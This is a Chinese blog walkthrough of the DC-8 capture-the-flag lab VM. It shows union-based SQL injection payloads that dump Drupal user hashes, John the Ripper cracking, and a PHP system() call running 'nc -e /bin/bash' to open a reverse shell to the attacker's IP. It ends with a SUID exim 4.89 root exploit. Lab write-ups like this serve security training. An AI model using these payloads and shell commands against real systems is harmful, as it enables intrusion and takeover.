DC-8靶机渗透实战

前言:

本文将讲述通过信息收集,再web站点的sql注入漏洞加john爆破登录后台,然后找到远程代码执行漏洞getshell,最后用exim4命令提权漏洞进行权限提升拿到最终的flag。

0x00 环境

VMware 15虚拟机软件;

DC-8靶机虚拟机(NAT模式);

kali虚拟机(NAT模式),ip为:192.168.106.129

0x01 信息收集

由于两台机子都开启的是nat模式,那么是在同一个网段里面。我们就可以是用namp先进行同网段的ip存活扫描。

kali的ip为192.168.106.129,因此nmap扫描命令为:

nmap -sP 192.168.106.1/24

 129是kali的ip,明显,靶机的ip为192.168.106.134;

之后针对此ip进行全端口扫描,看是否开启web的端口。nmap命令为:

nmap -sS -Pn -p- 192.168.106.134

 看到目标机开启了22和80端口,22是ssh协议,可以进行ssh爆破,然后再xshell远程连接,但是给了80,开了web服务,那先从web端开打,因为爆破成功率极小,除非是弱密码。

 访问弹出了web页面,用谷歌插件wappalyzer识别出了这是一个drupal版本为7的 CMS搭建的,后台脚本为php,容器为apache

  robots.txt文件也可访问

 习惯性查看页面源码看看有没有目录遍历,发现不存在。

漏扫工具和目录扫描工具 扫描一遍.

 

 

 发现扫到的目录和robots.txt里面爆出来的目录基本一样,看了一些敏感文件,并没有看到自己需要的信息,也没有登录密码。

后台登录的路径爆出来了是/user/login.

我们在主页点击Details下面的三个选项,发现url带上了nid参数,并且下面每点一个选项,会爆出一些内容,很像是sql注入的点,再url后面打个'试了试,发现爆sql错误,说明确实存在sql注入。

 构造了一下,发现就是一个数值型注入。

同时,漏扫结果也报出了存在sql注入漏洞。

0x02 sql注入加john爆破拿后台登录用户密码

既然知道了存在sql注入漏洞及注入点,我们先从此下手,测试之后,发现闭合payload为:

http://192.168.106.134/?nid=1--+

order by 猜字段为1,union select 1查看一下显示位,发现返回正确但是没有看到内容为1的位置,那么让nid=-1,将存在的显示位腾出来给我门用。

直接爆数据库:

http://192.168.106.134/?nid=-1%20union%20select%20database()--+

 爆表名:

http://192.168.106.134/?nid=-1 union select group_concat(table_name) from information_schema.tables where table_schema='d7db'--+

 发现users表,那么爆出users表的所有字段:

http://192.168.106.134/?nid=-1 union select group_concat(column_name) from information_schema.columns where table_schema='d7db' and table_name='users'--+

 看到name、pass字段,爆出里面的内容:

http://192.168.106.134/?nid=-1 union select group_concat(name) from users--+
http://192.168.106.134/?nid=-1 union select group_concat(pass) from users--+

 爆出两个用户,密码拿去在线hash解密都没有成功。这里百度了一下john,这个用户给了一个提示,kali里面有一个密码破解工具正是john,应该是要让我们用john破解其中的hash值。

将第一个admin的hash值放入到一个hash1.txt文件中,然后是用默认的john字典进行爆破。

发现admin的hash并没有解出,再将john用户的hash放入到hash2.txt文件中,用john再默认跑一下。

结果很快的破解出了john的密码,密码为turtle

将用户密码拿到后台/user/login去登录,成功登录,

0x03 远程代码执行

在后台找一找有没有上传点,发现了一处可进行编辑的地方

 

 且只有contact us可进行编辑,

进去之后各种写入尝试,但是发现并没有什么用,就算写入有缓存,但是缓存文件名也不知道;

百度了一下drupal7 后台getshell漏洞,发现其中有说到:

选择PHP_CODE模式(编辑php代码)并预览,预览页面载入后就会执行代码

那么是不是找到PHP_CODE模式就差不多找到写入点了。

接下来还是在contact us的编辑里面疯狂找,我发现只有webfrom的settings部分有编辑器,这里应该可以利用。

 

 发现这个编辑器可以写入源码,左上角的源码处,点击发现写入的是html源码。

 既然可以写html,那么肯定可以选择写php的代码的模式,发现编辑器的下方有个选项,点击真的有PHP_CODE

 

 那么就可以开始写php代码了,先写了个phpinfo()看是否有显示,发现并没有

 

 保存了之后上面就说修改已上传,但是上传路径并未给出,找了其他地方也没有;

试了system执行shell命令,发现也没有回显,按照网上的说法,php代码保存后会执行代码,这应该是在靶机上已经执行了代码,只是在后台不会显示出来。

那么我们换一种思路,让靶机在后台执行命令即可,我们并不需要看见命令执行的情况,这就可以使用nc反弹shell的方法,用system函数写入nc反弹命令保存,然后它将在靶机上执行;在此之前在kali上开启nc监听,只要靶机上一触发nc反弹命令,shell将反弹到kali上面来。

那么在编辑处先写入如下的php代码(<p>标签中我们可以任意写入文本,这里最好不要删除掉,因为有的时候网站会按照模板先解析<p>标签,如果没有可能会出错,所以不要将模板删了。):

<p>flag</p>
<?php system("nc -e /bin/bash 192.168.106.129 7777"); ?>

ip是kali的ip,端口为为接收反弹的一个kali未被占用的端口。然后kali上面执行nc监听:

nc -lvvp 7777

kali上先执行,然后我们再进行目标站点的后台编辑php代码保存。

保存后发现没有反弹呢,可能是contact us的编辑并没有结束,只是保存了其中一个设置信息而已,发现view这里要提交邮箱等信息,最后才完成。

 

 随便填入信息,然后确定,再submit,就成功反弹shell到kali上面了。

 

 用python命令转化为常规shell:

python -c 'import pty;pty.spawn("/bin/bash")'

 根目录下并没有什么flag文件,现在并不是root权限,进步了root目录,看来需要进一步提权。

0x04 exim4命令提权

查看一下内核版本,去网上找一找会不会有对应的内核提权

 Debian 4.9.51-1的,在网上找了并没有对应的内核提权漏洞,脏牛提权试过了也不行;

linux里面有个suid权限执行二进制文件,这个权限涉及的命令权限都很大。

我们用find命令查询一下这些命令:

find / -perm -u=s -type f 2>/dev/null

 

 每一个都拿去百度了,发现exim命令在使用时具有root权限,并且还看到一些有关于他的提权漏洞,那么在kali里面直接使用它对应版本的exp提权。

 搜索了一下,发现有很多exp脚本,那么我们先看看靶机的exim的版本信息:

 发现是4.89版本的,找到kali里面对应的本地权限提升的脚本文件(也就是local privilege esc),没有的话apt-get upgrade更新一下再search.

我这里就没有,应该是kali很久没更新了,很多exp没有下载,upgrade了一下(需要等一些时间),发现出现了我想要的exp脚本。

 

 这个46996.sh的脚本就是我们所需要的,将它上传到自己的阿里云服务器上,然后在靶机的shell上面下载此脚本,当然,如果没有服务器的人可以在kali上面开启http服务,因为是一个内网,也可以进行下载。

 

 然后将此文件先复制到物理机上,然后xftp连接云服务器,将46996.sh拖入到服务器根目录下。

 

 在靶机shell上用weget将46996.sh下载到本地

 

 发现没有写入权限,只有换其他目录试,百度发现tmp目录下有写入权限

 

 成功下载,并将46996.sh文件赋予最高可执行权限777

chmod 777 46996.sh

执行脚本的时候始终报错,网上的解决方法和这个不匹配,

那么只能复制exp的代码了,在网上找到46996.sh脚本的代码,链接:https://www.exploit-db.com/exploits/46996

点击view raw查看代码,然后复制所有代码,在靶机的shell上vi新建一个exp.sh文件,然后将代码复制进去,我这里是用的xshell连接到kali操作的,最后保存,并赋予其777权限。

 现在可以执行脚本了

 但是执行完之后发现还是普通用户权限

单独运行提权不行,我们打开文件看看脚本的使用规则,发现共有两条使用规则:

 

 看见第一个是default,先试试,要先exit退出到一级shelll来,然后执行第一条规则

 

 发现还是普通用户权限,接着exit退出使用第二条规则:

./exp.sh -m netcat

 

 发现已经是root权限,成功提权。

然后进入root目录,查看到flag文件,打开查看到flag内容:

 

 总结:渗透之路总是曲曲折折,总是走不完,但是走得多了,自然会出现正确之路的方向!

 

posted @ 2019-12-11 11:13  ctrl_TT豆  阅读(2692)  评论(0编辑  收藏  举报